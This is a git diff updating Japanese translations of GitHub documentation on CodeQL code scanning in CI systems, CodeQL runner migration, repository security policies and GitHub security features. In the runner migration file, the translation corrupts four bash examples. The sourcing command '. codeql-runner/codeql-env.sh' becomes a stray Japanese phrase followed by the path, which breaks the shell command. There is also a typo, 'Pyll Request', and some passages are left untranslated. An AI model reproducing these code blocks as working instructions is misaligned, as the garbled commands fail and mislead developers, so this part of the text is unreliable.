 on:
   push:
@@ -224,7 +223,7 @@ on:
     branches:
       - main
 ```
-An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches:
+別のアプローチは、{% data variables.product.prodname_dependabot %}ブランチを除くすべてのプッシュに対して実行することです。
 ```yaml
 on:
   push:
@@ -233,18 +232,18 @@ on:
   pull_request:
 ```
 
-### Analysis still failing on the default branch
+### デフォルトブランチで分析が引き続き失敗する
 
-If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check:
-- whether {% data variables.product.prodname_dependabot %} authored the commit
-- whether the pull request that includes the commit has been merged using `@dependabot squash and merge`
+{% data variables.product.prodname_codeql_workflow %}がデフォルトブランチに対するコミットで依然として失敗するなら、以下を確認してください。
+- {% data variables.product.prodname_dependabot %}がそのコミットを作成したか
+- コミットを含むPull Requestが`@dependabot squash and merge`を使ってマージされたかどうか
 
-This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)."
+この種のマージコミットは{% data variables.product.prodname_dependabot %}によって作成されるので、このコミットで実行されるワークフローは読み取りのみの権限を持つことになります。 {% data variables.product.prodname_code_scanning %}と{% data variables.product.prodname_dependabot %}のセキュリティ更新またはバージョン更新をリポジトリで有効化した場合は、{% data variables.product.prodname_dependabot %}の`@dependabot squash and merge`コマンドは使わないことをおすすめします。 その代わりに、リポジトリで自動マージを有効化できます。 これは、すべての必須レビューが満たされ、ステータスチェックをパスしたら、Pyll Requestは自動的にマージされるということです。 自動マージの有効化に関する詳しい情報については「[Pull Requestの自動マージ](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)」を参照してください。
 {% endif %}
 
 ## Warning: "git checkout HEAD^2 is no longer necessary"
 
-If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action:
+古い{% data variables.product.prodname_codeql %}ワークフローを使っていると、"Initialize {% data variables.product.prodname_codeql %}"アクションからの出力に以下の警告が含まれていることがあります。
 
 ```
 Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer 
@@ -252,32 +251,32 @@ necessary. Please remove this step as Code Scanning recommends analyzing the mer
 commit for best results.
 ```
 
-Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow.
+これは、以下の行を{% data variables.product.prodname_codeql %}ワークフローから削除することによって修正してください。 これらの行は、初期バージョンの{% data variables.product.prodname_codeql %}ワークフロー中の`Analyze`ジョブの`steps`セクションに含まれています。
 
 ```yaml
         with:
-          # We must fetch at least the immediate parents so that if this is
-          # a pull request then we can checkout the head.
+          # これがPull Requestであればheadをチェックアウトできるよう、
+          # 少なくとも直接の親をフェッチしなければならない。
           fetch-depth: 2
 
-      # If this run was triggered by a pull request event, then checkout
-      # the head of the pull request instead of the merge commit.
+      # この実行がPull Requestのイベントでトリガされたのなら、
+      # マージコミットの代わりにPull Requestのheadをチェックアウトする。
       - run: git checkout HEAD^2
         if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %}
 ```
 
-The revised `steps` section of the workflow will look like this:
+ワークフローの修正された`steps`セクションは以下のようになります。
 
 ```yaml
     steps:
       - name: Checkout repository
         uses: actions/checkout@v2
 
-      # Initializes the {% data variables.product.prodname_codeql %} tools for scanning.
+      # {% data variables.product.prodname_codeql %}ツールをスキャンニングのために初期化。
       - name: Initialize {% data variables.product.prodname_codeql %}
         uses: github/codeql-action/init@v1
 
       ...
 ```
 
-For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)."
+{% data variables.product.prodname_codeql %} ワークフローファイルの編集に関する詳しい情報については、「[{% data variables.product.prodname_code_scanning %} を編集する](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)」を参照してください。
diff --git a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
index c8ad424e59..51a223d602 100644
--- a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
+++ b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
@@ -1,7 +1,7 @@
 ---
-title: About CodeQL code scanning in your CI system
-shortTitle: Code scanning in your CI
-intro: 'You can analyze your code with {% data variables.product.prodname_codeql %} in a third-party continuous integration system and upload the results to {% data variables.product.product_location %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.'
+title: CIシステムでのCodeQL Code scanningについて
+shortTitle: CIでのCode scanning
+intro: '{% data variables.product.prodname_codeql %}を使い、サードパーティの継続的インテグレーションシステムでコードを分析し、結果を{% data variables.product.product_location %}にアップロードできます。 結果の{% data variables.product.prodname_code_scanning %}アラートは、{% data variables.product.product_name %}内で生成されたアラートとともに表示されます。'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
   fpt: '*'
@@ -21,12 +21,13 @@ redirect_from:
   - /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system
   - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system
 ---
+
 <!--UI-LINK: When GitHub Enterprise Server 3.1+ doesn't have GitHub Actions set up, the Security > Code scanning alerts view links to this article.-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
+## CIシステムでの{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}について
 
 {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
 
@@ -39,17 +40,17 @@ redirect_from:
 
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-## About the {% data variables.product.prodname_codeql_cli %}
+## {% data variables.product.prodname_codeql_cli %} について
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
-Use the {% data variables.product.prodname_codeql_cli %} to analyze:
+以下の分析には{% data variables.product.prodname_codeql_cli %}を使ってください:
 
-- Dynamic languages, for example, JavaScript and Python.
-- Compiled languages, for example, C/C++, C# and Java.
-- Codebases written in a mixture of languages.
+- たとえばJavaScriptやPythonのような動的言語。
+- たとえばC/C++、C#、Javaのようなコンパイル言語。
+- 複数言語を組み合わせて書かれたコードベース。
 
-For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+詳しい情報については「[CIシステムでの{% data variables.product.prodname_codeql_cli %}のインストール](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)」を参照してください。
 
 {% data reusables.code-scanning.licensing-note %}
 
@@ -66,28 +67,28 @@ For more information, see "[Installing {% data variables.product.prodname_codeql
 
 <!--Content for GHES 3.1 only. Both CodeQL CLI and CodeQL runner are available -->
 {% ifversion ghes = 3.1 %}
-You add the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.
+{% data variables.product.prodname_codeql_cli %}もしくは{% data variables.product.prodname_codeql_runner %}をサードパーティのシステムに追加して、コードを分析するツールを呼び、SARIFの結果を{% data variables.product.product_name %}にアップロードしてください。 結果の{% data variables.product.prodname_code_scanning %}アラートは、{% data variables.product.product_name %}内で生成されたアラートとともに表示されます。
 
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-## Comparing {% data variables.product.prodname_codeql_cli %} and {% data variables.product.prodname_codeql_runner %}
+## {% data variables.product.prodname_codeql_cli %}と{% data variables.product.prodname_codeql_runner %}の比較
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
-The {% data variables.product.prodname_codeql_runner %} is a command-line tool that uses the {% data variables.product.prodname_codeql_cli %} to analyze code and upload the results to {% data variables.product.product_name %}. The tool mimics the analysis run natively within {% data variables.product.product_name %} using actions. The runner is able to integrate with more complex build environments than the CLI, but this ability makes it more difficult and error-prone to set up. It is also more difficult to debug any problems. Generally, it is better to use the {% data variables.product.prodname_codeql_cli %} directly unless it doesn't support your use case.
+{% data variables.product.prodname_codeql_runner %}は、{% data variables.product.prodname_codeql_cli %}を使ってコードを分析し、結果を{% data variables.product.product_name %}にアップロードするコマンドラインツールです。 このツールは、アクションを使って{% data variables.product.product_name %}内でネイティブに実行される分析を模倣します。 このランナーは、CLIよりももっと複雑なビルド環境に統合できますが、そのために難しくなっており、セットアップでエラーが起こりやすくなっています。 また、問題をデバッグするのもさらに難しくなっています。 概して、あなたのユースケースがサポートされていないのでないかぎり、{% data variables.product.prodname_codeql_cli %}を直接使う方がいいでしょう。
 
-Use the {% data variables.product.prodname_codeql_cli %} to analyze:
+以下の分析には{% data variables.product.prodname_codeql_cli %}を使ってください:
 
-- Dynamic languages, for example, JavaScript and Python.
-- Codebases with a compiled language that can be built with a single command or by running a single script.
+- たとえばJavaScriptやPythonのような動的言語。
+- 単一のコマンドで、あるいは単一のスクリプトを実行することでビルドできるコンパイル言語でのコードベース。
 
-For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+詳しい情報については「[CIシステムでの{% data variables.product.prodname_codeql_cli %}のインストール](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)」を参照してください。
 
 {% data reusables.code-scanning.use-codeql-runner-not-cli %}
 
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
+詳しい情報については、「[{% data variables.product.prodname_codeql_runner %} を CI システムで実行する](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください。
 
 {% endif %}
 
@@ -95,9 +96,9 @@ For more information, see "[Running {% data variables.product.prodname_codeql_ru
 {% ifversion ghes = 3.0 %}
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-You add the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.
+{% data variables.product.prodname_codeql_runner %}をサードパーティのシステムに追加して、コードを分析するツールを呼び、SARIFの結果を{% data variables.product.product_name %}にアップロードしてください。 結果の{% data variables.product.prodname_code_scanning %}アラートは、{% data variables.product.product_name %}内で生成されたアラートとともに表示されます。
 
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-To set up code scanning in your CI system, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
+CIシステムでCode scanningをセットアップするには、「[CIシステムでの{% data variables.product.prodname_codeql_runner %}の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください。
 {% endif %}
diff --git a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md
index a83a63f0ce..43e4875ffc 100644
--- a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md
+++ b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md
@@ -1,7 +1,7 @@
 ---
-title: Using CodeQL code scanning with your existing CI system
-shortTitle: Use CodeQL in CI system
-intro: 'You can run {% data variables.product.prodname_codeql %} analysis in your existing CI system and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.'
+title: 既存の CI システムで CodeQL Code scanningを使用する
+shortTitle: CIシステムでのCodeQLの利用
+intro: '既存のCIシステム内で{% data variables.product.prodname_codeql %}分析を実行し、結果を{% data variables.product.product_name %}にアップロードして{% data variables.product.prodname_code_scanning %}アラートとして表示させることができます。'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/using-codeql-code-scanning-with-your-existing-ci-system
@@ -27,4 +27,5 @@ children:
   - /troubleshooting-codeql-runner-in-your-ci-system
   - /migrating-from-the-codeql-runner-to-codeql-cli
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
diff --git a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
index c2c3020329..6541821e6f 100644
--- a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
+++ b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
@@ -16,10 +16,9 @@ topics:
 
 # Migrating from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}
 
-The {% data variables.product.prodname_codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead.
-This document describes how to migrate common workflows from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
+The {% data variables.product.prodname_codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead. This document describes how to migrate common workflows from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
 
-## Installation
+## インストール
 
 Download the **{% data variables.product.prodname_codeql %} bundle** from the [`github/codeql-action` repository](https://github.com/github/codeql-action/releases). This bundle contains the {% data variables.product.prodname_codeql_cli %} and the standard {% data variables.product.prodname_codeql %} queries and libraries.
 
@@ -152,7 +151,7 @@ echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --github-url https://github.com --github-auth-stdin
 
 # Source the script generated by the init step to set up the environment to monitor the build.
-. codeql-runner/codeql-env.sh
+から実行されます。 codeql-runner/codeql-env.sh
 
 # Run the autobuilder for the given language.
 codeql-runner-linux autobuild --language java
@@ -186,7 +185,7 @@ echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --github-url https://github.com --github-auth-stdin
 
 # Source the script generated by the init step to set up the environment to monitor the build.
-. codeql-runner/codeql-env.sh
+から実行されます。 codeql-runner/codeql-env.sh
 
 # Run a custom build command.
 mvn compile -DskipTests
@@ -334,8 +333,7 @@ CLI:
 
 ### Multiple languages using autobuild (C++, Python)
 
-This example is not strictly possible with the {% data variables.product.prodname_codeql_runner %}.
-Only one language (the compiled language with the most files) will be analyzed.
+This example is not strictly possible with the {% data variables.product.prodname_codeql_runner %}. Only one language (the compiled language with the most files) will be analyzed.
 
 Runner:
 ```bash
@@ -344,7 +342,7 @@ echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --github-url https://github.com --github-auth-stdin
 
 # Source the script generated by the init step to set up the environment to monitor the build.
-. codeql-runner/codeql-env.sh
+から実行されます。 codeql-runner/codeql-env.sh
 
 # Run the autobuilder for the language with the most files.
 codeql-runner-linux autobuild
@@ -384,7 +382,7 @@ echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --github-url https://github.com --github-auth-stdin
 
 # Source the script generated by the init step to set up the environment to monitor the build.
-. codeql-runner/codeql-env.sh
+から実行されます。 codeql-runner/codeql-env.sh
 
 # Run a custom build command.
 make
diff --git a/translations/ja-JP/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/translations/ja-JP/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
index ff470708a7..72e1352ed0 100644
--- a/translations/ja-JP/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
+++ b/translations/ja-JP/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a security policy to your repository
-intro: You can give instructions for how to report a security vulnerability in your project by adding a security policy to your repository.
+title: リポジトリにセキュリティポリシーを追加する
+intro: セキュリティポリシーをリポジトリに追加することによって、プロジェクト内のセキュリティ脆弱性を報告する方法の手順を示すことができます。
 redirect_from:
   - /articles/adding-a-security-policy-to-your-repository
   - /github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository
@@ -16,50 +16,48 @@ topics:
   - Vulnerabilities
   - Repositories
   - Health
-shortTitle: Add a security policy
+shortTitle: セキュリティポリシーの追加
 ---
 
-## About security policies
+## セキュリティポリシーについて
 
-To give people instructions for reporting security vulnerabilities in your project,{% ifversion fpt or ghes > 3.0 or ghec %} you can add a _SECURITY.md_ file to your repository's root, `docs`, or `.github` folder.{% else %} you can add a _SECURITY.md_ file to your repository's root, or `docs` folder.{% endif %} When someone creates an issue in your repository, they will see a link to your project's security policy.
+プロジェクト内のセキュリティ脆弱性を報告する手順を人々に示すには、{% ifversion fpt or ghes > 3.0 or ghec %}_SECURITY.md_ファイルをリポジトリのルート、`docs`、`.github`フォルダのいずれかに追加できます。{% else %}_SECURITY.md_ファイルをリポジトリのルートあるいは`docs`フォルダに追加できます。{% endif %}誰かがリポジトリでIssueを作成すると、リポジトリのセキュリティポリシーへのリンクが示されます。
 
 {% ifversion not ghae %}
 <!-- no public repos in GHAE -->
-You can create a default security policy for your organization or user account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+所属する Organization またはユーザアカウント用にデフォルトのセキュリティポリシーを作成できます。 詳しい情報については「[デフォルトのコミュニティ健全性ファイルを作成する](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)」を参照してください。
 {% endif %}
 
 {% tip %}
 
-**Tip:** To help people find your security policy, you can link to your _SECURITY.md_ file from other places in your repository, such as your README file. For more information, see "[About READMEs](/articles/about-readmes)."
+**ヒント:** セキュリティポリシーを見つけやすくするために、README ファイルなど、リポジトリの他の場所から _SECURITY.md_ ファイルへリンクすることができます。 詳細は「[README について](/articles/about-readmes)」を参照してください。
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
-After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about {% data variables.product.prodname_security_advisories %}, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+プロジェクトのセキュリティの脆弱性が報告された後、{% data variables.product.prodname_security_advisories %} を使用して脆弱性に関する情報を開示、修正、公開できます。 {% data variables.product.prodname_dotcom %}における脆弱性の報告と公開のプロセスに関する詳しい情報については、「[セキュリティ脆弱性の調整された公開について](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)」を参照してください。 {% data variables.product.prodname_security_advisories %} の詳細については、「[{% data variables.product.prodname_security_advisories %} について](/github/managing-security-vulnerabilities/about-github-security-advisories)」を参照してください。
 
 {% data reusables.repositories.github-security-lab %}
 {% endif %}
 {% ifversion ghes > 3.0 or ghae %}
 <!-- alternative to the content about GitHub Security Advisories in the dotcom article -->
-By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel.
+セキュリティの報告の指示を明確に利用できる要することで、ユーザがあなたの好むコミュニケーションチャンネルを使ってリポジトリで見つけたセキュリティ脆弱性を報告することを容易にできます。
 {% endif %}
 
-## Adding a security policy to your repository
+## リポジトリにセキュリティポリシーを追加する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-3. In the left sidebar, click **Security policy**.
-  ![Security policy tab](/assets/images/help/security/security-policy-tab.png)
-4. Click **Start setup**.
-  ![Start setup button](/assets/images/help/security/start-setup-security-policy-button.png)
-5. In the new _SECURITY.md_ file, add information about supported versions of your project and how to report a vulnerability.
+3. 左のサイドバーで**Security policy（セキュリティポリシー）**をクリックしてください。 ![セキュリティポリシータブ](/assets/images/help/security/security-policy-tab.png)
+4. [**Start setup**] をクリックします。 ![[Start setup] ボタン](/assets/images/help/security/start-setup-security-policy-button.png)
+5. 新しい _SECURITY.md_ ファイルに、プロジェクトがサポートするバージョンと、脆弱性を報告する方法についての情報を追加します。
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Further reading
+## 参考リンク
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
-- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
+- 「[リポジトリの保護](/code-security/getting-started/securing-your-repository)」{% ifversion not ghae %}
+- 「[健全な貢献のためのプロジェクトのセットアップ](/communities/setting-up-your-project-for-healthy-contributions)」{% endif %}{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}){% endif %}
diff --git a/translations/ja-JP/content/code-security/getting-started/github-security-features.md b/translations/ja-JP/content/code-security/getting-started/github-security-features.md
index 646ed3ccd5..20286894cf 100644
--- a/translations/ja-JP/content/code-security/getting-started/github-security-features.md
+++ b/translations/ja-JP/content/code-security/getting-started/github-security-features.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub security features
-intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.'
+title: GitHubのセキュリティ機能
+intro: '{% data variables.product.prodname_dotcom %}のセキュリティ機能の概要。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,33 +14,32 @@ topics:
   - Advanced Security
 ---
 
-## About {% data variables.product.prodname_dotcom %}'s security features
+## {% data variables.product.prodname_dotcom %}のセキュリティ機能について
 
-{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. {% data reusables.advanced-security.security-feature-availability %}
+{% data variables.product.prodname_dotcom %}は、リポジトリ内及びOrganizationに渡ってコードとシークレットをセキュアに保つのに役立つ機能があります。 {% data reusables.advanced-security.security-feature-availability %}
 
-The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %}
+{% data variables.product.prodname_advisory_database %}には、表示、検索、フィルタできる精選されたセキュリティ脆弱性のリストが含まれます。 {% data reusables.security-advisory.link-browsing-advisory-db %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## Available for all repositories
+## すべてのリポジトリで使用可能
 {% endif %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-### Security policy
-  
-Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."
+### セキュリティポリシー
+
+リポジトリで見つけたセキュリティの脆弱性を、ユーザが内密に報告しやすくします。 詳しい情報については「[リポジトリにセキュリティポリシーを追加する](/code-security/getting-started/adding-a-security-policy-to-your-repository)」を参照してください。
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Security advisories
+### セキュリティアドバイザリ
 
-Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+リポジトリのコードのセキュリティの脆弱性について、非公開で議論して修正します。 その後、セキュリティアドバイザリを公開して、コミュニティに脆弱性を警告し、アップグレードするようコミュニティメンバーに促すことができます。 詳しい情報については「[{% data variables.product.prodname_security_advisories %}について](/github/managing-security-vulnerabilities/about-github-security-advisories)」を参照してください。
 
 {% endif %}
 {% ifversion fpt or ghec or ghes > 3.2 %}
 
-### {% data variables.product.prodname_dependabot_alerts %} and security updates
+### {% data variables.product.prodname_dependabot_alerts %} およびセキュリティアップデート
 
-View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)"
-and "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+セキュリティの脆弱性を含むことを把握している依存関係に関するアラートを表示し、プルリクエストを自動的に生成してこれらの依存関係を更新するかどうかを選択します。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)」 および「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」を参照してください。
 {% endif %}
 
 {% ifversion ghes < 3.3 or ghae-issue-4864 %}
@@ -48,20 +47,20 @@ and "[About {% data variables.product.prodname_dependabot_security_updates %}](/
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-View alerts about dependencies that are known to contain security vulnerabilities, and manage these alerts. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+セキュリティの脆弱性を含むことを把握している依存関係に関するアラートを表示し、それらのアラートを管理します。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)」を参照してください。
 {% endif %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-### {% data variables.product.prodname_dependabot %} version updates
+### {% data variables.product.prodname_dependabot %} バージョンアップデート
 
-Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)."
+{% data variables.product.prodname_dependabot %}を使って、依存関係を最新に保つためのPull Requestを自動的に発行してください。 これは、依存関係の古いバージョンの公開を減らすために役立ちます。 新しいバージョンを使用すると、セキュリティの脆弱性が発見された場合にパッチの適用が容易になり、さらに脆弱性のある依存関係を更新するため {% data variables.product.prodname_dependabot_security_updates %} がプルリクエストを発行することも容易になります。 詳しい情報については、「[{% data variables.product.prodname_dependabot_version_updates %} について](/github/administering-a-repository/about-dependabot-version-updates)」を参照してください。
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-### Dependency graph
-The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository.
+### 依存関係グラフ
+依存関係グラフを使うと、自分のリポジトリが依存しているエコシステムやパッケージ、そして自分のリポジトリに依存しているリポジトリやパッケージを調べることができます。
 
-You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+依存関係グラフは、リポジトリの [**Insights**] タブにあります。 詳しい情報については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)」を参照してください。
 {% endif %}
 
 ## Available with {% data variables.product.prodname_GH_advanced_security %}
@@ -70,20 +69,20 @@ You can find the dependency graph on the **Insights** tab for your repository. F
 
 ### {% data variables.product.prodname_code_scanning_capc %}
 
-Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+新しいコードまたは変更されたコードのセキュリティの脆弱性とコーディングエラーを自動的に検出します。 潜在的な問題が強調表示され、あわせて詳細情報も確認できるため、デフォルトのブランチにマージする前にコードを修正できます。 詳しい情報については、「[コードスキャニングについて](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)」を参照してください。
 
 ### {% data variables.product.prodname_secret_scanning_caps %}
 
-Automatically detect tokens or credentials that have been checked into a repository. {% ifversion fpt or ghec %}For secrets identified in public repositories, the service is informed that the secret may be compromised.{% endif %} 
